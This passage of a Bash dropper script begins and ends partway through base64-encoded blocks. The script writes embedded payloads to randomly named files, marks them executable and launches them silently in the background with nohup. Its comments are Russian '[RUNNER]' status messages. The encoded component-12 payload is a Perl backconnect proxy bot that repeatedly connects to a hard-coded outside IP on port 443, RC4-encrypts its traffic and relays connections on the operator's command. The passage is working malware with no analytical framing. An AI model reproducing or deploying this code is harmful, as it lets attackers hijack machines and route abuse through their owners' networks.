ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #11 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #11 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 12 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg 